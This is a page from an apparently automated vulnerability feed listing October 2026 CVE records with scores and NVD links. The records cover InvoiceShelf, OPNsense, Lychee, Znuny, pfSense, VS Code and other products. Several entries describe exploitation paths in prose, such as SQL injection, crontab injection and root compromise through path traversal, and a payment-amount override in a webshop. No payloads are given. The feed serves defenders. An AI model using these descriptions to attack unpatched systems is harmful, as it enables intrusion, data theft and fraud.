InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.0, InvoiceShelf passes the authenticated user's orderByField query parameter into Laravel orderBy calls in Invoice::scopeApplyFilters without restricting the value to column identifiers. A crafted SQL expression can therefore enter the ORDER BY clause across invoice and other list endpoints, enabling boolean-based blind extraction of database information. This issue is fixed in version 2.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates.
https://kevwire.com/record/CVE-2026-55387
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. (Oct 14, 2026).
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. In version 2.3.3 and earlier, InvoiceShelf bulk-delete request validation accepts record identifiers without consistently binding them to the authenticated user's company_id. The affected DeleteCustomersRequest, DeleteEstimatesRequest, DeleteExpensesRequest, DeleteInvoiceRequest, DeleteItemsRequest, DeletePaymentsRequest, and DeleteUserRequest validators check that identifiers exist but do not consistently check tenant ownership. An authenticated user can submit another company's identifier and delete cross-company records. This vulnerability is fixed in 2.4.0.
CVSS 7.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55387).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55387&date=2026-10-25).
Sources:
NVD CVE-2026-55387: https://nvd.nist.gov/vuln/detail/CVE-2026-55387
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55387&date=2026-10-25
InvoiceShelf is an open-source web & mobile app that helps track expenses, payments and create professional invoices and estimates. In version 2.3.3 and earlier, InvoiceShelf bulk-delete request validation accepts record identifiers without consistently binding them to the authenticated user's company_id. The affected DeleteCustomersRequest, DeleteEstimatesRequest, DeleteExpensesRequest, DeleteInvoiceRequest, DeleteItemsRequest, DeletePaymentsRequest, and DeleteUserRequest validators check that identifiers exist but do not consistently check tenant ownership. An authenticated user can submit another company's identifier and delete cross-company records. This vulnerability is fixed in 2.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-57155
OPNsense is a FreeBSD based firewall and routing platform. (Oct 15, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.
CVSS 9.9 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57155).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57155&date=2026-10-25).
Sources:
NVD CVE-2026-57155: https://nvd.nist.gov/vuln/detail/CVE-2026-57155
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57155&date=2026-10-25
OPNsense is a FreeBSD based firewall and routing platform. Prior to version 26.1.11, the Firewall Alias GeoIP importer's process_zip() and process_gzip() paths in src/opnsense/scripts/filter/lib/alias/geoip.py use an unvalidated CSV country_code value to construct output filenames below /usr/local/share/GeoIP/alias. A user with Firewall Alias Edit privilege can configure an attacker-controlled GeoIP source URL and supply an archive whose country code traverses into another existing directory, causing attacker-controlled content to be written as root with an -IPv4 or -IPv6 suffix. A crafted newsyslog fragment and oversized log file can use the default hourly root cron job to execute commands as root, resulting in complete firewall compromise. This issue is fixed in version 26.1.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-61611
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.6.1, POST /api/v2/Album::unlock has no throttle, attempt counter, backoff, CAPTCHA, or lockout. UnlockAlbumRequest::authorize() permits any caller to submit attempts, and app/Actions/Album/Unlock.php verifies each guess with Hash::check without limiting repeated failures. A remote unauthenticated attacker who knows or can obtain an album identifier can automate password guesses against a password-protected album and, if the password is recovered, gain access to its private photo collection. This issue is fixed in version 7.6.1.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61611).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61611&date=2026-10-25).
Sources:
NVD CVE-2026-61611: https://nvd.nist.gov/vuln/detail/CVE-2026-61611
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61611&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.6.1, POST /api/v2/Album::unlock has no throttle, attempt counter, backoff, CAPTCHA, or lockout. UnlockAlbumRequest::authorize() permits any caller to submit attempts, and app/Actions/Album/Unlock.php verifies each guess with Hash::check without limiting repeated failures. A remote unauthenticated attacker who knows or can obtain an album identifier can automate password guesses against a password-protected album and, if the password is recovered, gain access to its private photo collection. This issue is fixed in version 7.6.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-61838
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload() and PhotoPolicy::canDownload() without first enforcing AlbumPolicy::canAccess(). For a public, password-protected album with grants_download enabled, an unauthenticated attacker who knows the shared album identifier can download a ZIP archive without supplying the password or unlocking the album, even though browsing endpoints deny access. The archive exposes the album's photos and can include full-resolution originals and associated metadata when grants_full_photo_access is enabled. This issue is fixed in version 7.6.3.
CVSS 8.2 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-61838).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-61838&date=2026-10-25).
Sources:
NVD CVE-2026-61838: https://nvd.nist.gov/vuln/detail/CVE-2026-61838
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-61838&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload() and PhotoPolicy::canDownload() without first enforcing AlbumPolicy::canAccess(). For a public, password-protected album with grants_download enabled, an unauthenticated attacker who knows the shared album identifier can download a ZIP archive without supplying the password or unlocking the album, even though browsing endpoints deny access. The archive exposes the album's photos and can include full-resolution originals and associated metadata when grants_full_photo_access is enabled. This issue is fixed in version 7.6.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OPNsense is a FreeBSD based firewall and routing platform.
https://kevwire.com/record/CVE-2026-71490
OPNsense is a FreeBSD based firewall and routing platform. (Oct 15, 2026).
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-71490).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-71490&date=2026-10-25).
Sources:
NVD CVE-2026-71490: https://nvd.nist.gov/vuln/detail/CVE-2026-71490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-71490&date=2026-10-25
OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11, OPNsense\Core\ACL::hasPrivilege() appends a directly assigned comma-separated <priv> value as one string and then uses an exact comparison when checking user-config-readonly. A user directly assigned both a component write privilege and user-config-readonly can therefore be treated as lacking the read-only restriction, and MVC APIs protected by throwReadOnly() can persist configuration changes for that component. Group privileges are not affected by the same parser flaw because the group path already splits comma-separated values. This issue is fixed in version 26.1.11.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-77466
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee hides the Omnipay Dummy test provider from the checkout options in production through OmnipayFactory::get_supported_providers(), but CreateSessionRequest validates only that the submitted provider is an OmnipayProviderType and does not enforce OmnipayProviderType::isAllowed(). A buyer, including a guest when webshop_allow_guest_checkout is enabled, can submit Dummy directly and complete the test gateway flow without a real payment. When webshop_auto_fulfill_enabled is enabled, OrderCompletedListener::fullfillOrder() can then release the purchasable item. The issue requires access to the Supporter or Pro webshop and an enabled purchasable item. Testing bypassed the closed-source license middleware, so whether the real license layer performs additional payment-provider validation remains unverified. The payment finalize status check itself is not the root cause. This issue is fixed in version 7.7.0.
CVSS 8.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77466).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77466&date=2026-10-25).
Sources:
NVD CVE-2026-77466: https://nvd.nist.gov/vuln/detail/CVE-2026-77466
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77466&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee hides the Omnipay Dummy test provider from the checkout options in production through OmnipayFactory::get_supported_providers(), but CreateSessionRequest validates only that the submitted provider is an OmnipayProviderType and does not enforce OmnipayProviderType::isAllowed(). A buyer, including a guest when webshop_allow_guest_checkout is enabled, can submit Dummy directly and complete the test gateway flow without a real payment. When webshop_auto_fulfill_enabled is enabled, OrderCompletedListener::fullfillOrder() can then release the purchasable item. The issue requires access to the Supporter or Pro webshop and an enabled purchasable item. Testing bypassed the closed-source license middleware, so whether the real license layer performs additional payment-provider validation remains unverified. The payment finalize status check itself is not the root cause. This issue is fixed in version 7.7.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lychee is a free, open-source photo-management tool.
https://kevwire.com/record/CVE-2026-77470
Lychee is a free, open-source photo-management tool. (Oct 15, 2026).
Lychee is a free, open-source photo-management tool. Prior to 7.7.1, the Supporter or Pro webshop POST /api/v2/Shop/Checkout/Process flow accepts an unrestricted additional_data array and CheckoutService::preparePurchaseParameters() merges it after server-computed purchase parameters. Because later string keys overwrite earlier keys, an unauthenticated buyer can replace amount, currency, returnUrl, cancelUrl, or transactionId before CheckoutService::processPayment() passes the parameters to a non-PayPal Omnipay gateway. An attacker can therefore make a gateway accept a successful payment for an attacker-selected amount and obtain auto-fulfilled goods while underpaying the merchant. The issue requires an enabled webshop, a purchasable item, and an affected Omnipay gateway. This issue is fixed in version 7.7.1.
CVSS 8.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77470).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77470&date=2026-10-25).
Sources:
NVD CVE-2026-77470: https://nvd.nist.gov/vuln/detail/CVE-2026-77470
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77470&date=2026-10-25
Lychee is a free, open-source photo-management tool. Prior to 7.7.1, the Supporter or Pro webshop POST /api/v2/Shop/Checkout/Process flow accepts an unrestricted additional_data array and CheckoutService::preparePurchaseParameters() merges it after server-computed purchase parameters. Because later string keys overwrite earlier keys, an unauthenticated buyer can replace amount, currency, returnUrl, cancelUrl, or transactionId before CheckoutService::processPayment() passes the parameters to a non-PayPal Omnipay gateway. An attacker can therefore make a gateway accept a successful payment for an attacker-selected amount and obtain auto-fulfilled goods while underpaying the merchant. The issue requires an enabled webshop, a purchasable item, and an affected Omnipay gateway. This issue is fixed in version 7.7.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement.
https://kevwire.com/record/CVE-2026-93484
Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement. (Oct 15, 2026).
Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement. This lack of proper sanitization or the use of parameterized queries allows an attacker to inject arbitrary SQL commands, leading to data theft, modification, or denial of service. Specifically this is in Kernel::System::Ticket::TicketSearch and Kernel::System::Ticket::ArticleSearchIndex::DB via the ContentSearch parameter. The parameter is expected to be either "AND" or "OR", but its value was concatenated directly into the generated SQL query without validation.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93484).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93484&date=2026-10-25).
Sources:
NVD CVE-2026-93484: https://nvd.nist.gov/vuln/detail/CVE-2026-93484
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93484&date=2026-10-25
Znuny through 7.3.6 constructs a ticket-search database query by directly concatenating user-supplied input into the SQL statement. This lack of proper sanitization or the use of parameterized queries allows an attacker to inject arbitrary SQL commands, leading to data theft, modification, or denial of service. Specifically this is in Kernel::System::Ticket::TicketSearch and Kernel::System::Ticket::ArticleSearchIndex::DB via the ContentSearch parameter. The parameter is expected to be either "AND" or "OR", but its value was concatenated directly into the generated SQL query without validation.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines...
https://kevwire.com/record/CVE-2026-111220
pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines... (Oct 15, 2026).
pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines into the ptpid or reset hour/minute fields. Attackers holding the 'WebCfg - Interfaces: PPPs: Edit' privilege can submit crafted POST values that configure_cron() writes unescaped into /etc/crontab, running arbitrary root commands on schedule.
CVSS 8.6 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111220).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111220&date=2026-10-25).
Sources:
NVD CVE-2026-111220: https://nvd.nist.gov/vuln/detail/CVE-2026-111220
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111220&date=2026-10-25
pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines into the ptpid or reset hour/minute fields. Attackers holding the 'WebCfg - Interfaces: PPPs: Edit' privilege can submit crafted POST values that configure_cron() writes unescaped into /etc/crontab, running arbitrary root commands on schedule.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.
https://kevwire.com/record/CVE-2026-102234
Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network. (Oct 13, 2026).
Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.
CVSS 7.4 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102234).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102234&date=2026-10-25).
Sources:
NVD CVE-2026-102234: https://nvd.nist.gov/vuln/detail/CVE-2026-102234
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102234&date=2026-10-25
Reliance on untrusted inputs in a security decision in Visual Studio Code allows an unauthorized attacker to bypass a security feature over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102235
Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102235).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102235&date=2026-10-25).
Sources:
NVD CVE-2026-102235: https://nvd.nist.gov/vuln/detail/CVE-2026-102235
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102235&date=2026-10-25
Improper encoding or escaping of output in Visual Studio Code allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102238
Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.
CVSS 9.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102238).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102238&date=2026-10-25).
Sources:
NVD CVE-2026-102238: https://nvd.nist.gov/vuln/detail/CVE-2026-102238
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102238&date=2026-10-25
Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70098
Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70098).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70098&date=2026-10-25).
Sources:
NVD CVE-2026-70098: https://nvd.nist.gov/vuln/detail/CVE-2026-70098
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70098&date=2026-10-25
Missing authorization in Visual Studio Code allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85888
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.
CVSS 7.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85888).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85888&date=2026-10-25).
Sources:
NVD CVE-2026-85888: https://nvd.nist.gov/vuln/detail/CVE-2026-85888
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85888&date=2026-10-25
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-88081
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.
CVSS 7.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88081).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88081&date=2026-10-25).
Sources:
NVD CVE-2026-88081: https://nvd.nist.gov/vuln/detail/CVE-2026-88081
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88081&date=2026-10-25
Out-of-bounds read in SQL Server allows an authorized attacker to disclose information over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple smartphones provided by Rakuten Mobile, Inc.
https://kevwire.com/record/CVE-2026-107153
Multiple smartphones provided by Rakuten Mobile, Inc. (Oct 14, 2026).
Multiple smartphones provided by Rakuten Mobile, Inc. utilize AOSP test keys for their Android Verified Boot (AVB) functionality. With physical access to the affected device, a crafted system image may be installed.
CVSS 7.0 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107153).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107153&date=2026-10-25).
Sources:
NVD CVE-2026-107153: https://nvd.nist.gov/vuln/detail/CVE-2026-107153
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107153&date=2026-10-25
Multiple smartphones provided by Rakuten Mobile, Inc. utilize AOSP test keys for their Android Verified Boot (AVB) functionality. With physical access to the affected device, a crafted system image may be installed.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security...
https://kevwire.com/record/CVE-2026-100232
Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security... (Oct 14, 2026).
Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute arbitrary OS commands, resulting in remote code execution.
CVSS 7.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100232).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100232&date=2026-10-25).
Sources:
NVD CVE-2026-100232: https://nvd.nist.gov/vuln/detail/CVE-2026-100232
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100232&date=2026-10-25
Post-authentication Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability has been identified in the SonicWall Network Security Manager (NSM) on-prem which in specific conditions could potentially enable a remote authenticated attacker to execute arbitrary OS commands, resulting in remote code execution.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE...
https://kevwire.com/record/CVE-2026-102073
A vulnerability has been identified in APOGEE MBC (PPC) (BACnet) (All versions), APOGEE MBC (PPC) (P2 Ethernet) (All versions), APOGEE MEC (PPC) (BACnet) (All versions), APOGEE... (Oct 13, 2026).
